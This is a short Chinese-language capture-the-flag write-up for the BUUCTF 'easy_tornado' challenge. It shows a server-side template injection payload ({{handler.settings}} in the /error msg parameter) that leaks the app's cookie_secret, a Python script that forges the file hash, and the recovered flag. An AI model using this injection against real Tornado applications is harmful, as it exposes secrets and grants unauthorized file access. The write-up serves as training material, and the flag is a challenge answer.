BUUCTF WEB [护网杯 2018]easy_tornado
-
进入环境,发现三个文件
-
/flag.txt
flag in /fllllllllllllag
-
/welcome.txt
render
-
/hints.txt
md5(cookie_secret+md5(filename))
-
-
根据题目提示可知,题目环境使用python tornado模板渲染搭建,flag文件名为
fllllllllllllag
。观察URL可知,访问文件需要提交文件名filename
和利用cookie_secret
与filename
md5加密得到的filehash
。 -
我们已经知道了flag文件的
filename
,现在需要利用模板注入得到cookie_secret
进而得到filehash
-
tornado官方文档中指出
cookie_secret
在handler.settings
中,访问/error?msg={{handler.settings}}
回显
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '937d5a21-74cc-4db9-9e52-81b087c68076'}
得到
cookie_secret
脚本
import hashlib
file_hash = hashlib.md5()
filename = '/fllllllllllllag'
file_hash.update(filename.encode('utf-8'))
s1 = file_hash.hexdigest()
cookie_secret = "937d5a21-74cc-4db9-9e52-81b087c68076"
file_hash = hashlib.md5()
file_hash.update((cookie_secret + s1).encode('utf-8'))
print(file_hash.hexdigest())
# 0fe38764240c1054b4a759cb7e671a10
-
访问
/file?filename=/fllllllllllllag&filehash=0fe38764240c1054b4a759cb7e671a10
回显
/fllllllllllllag flag{9ff46aca-4154-474e-add4-ff53fe8c382b}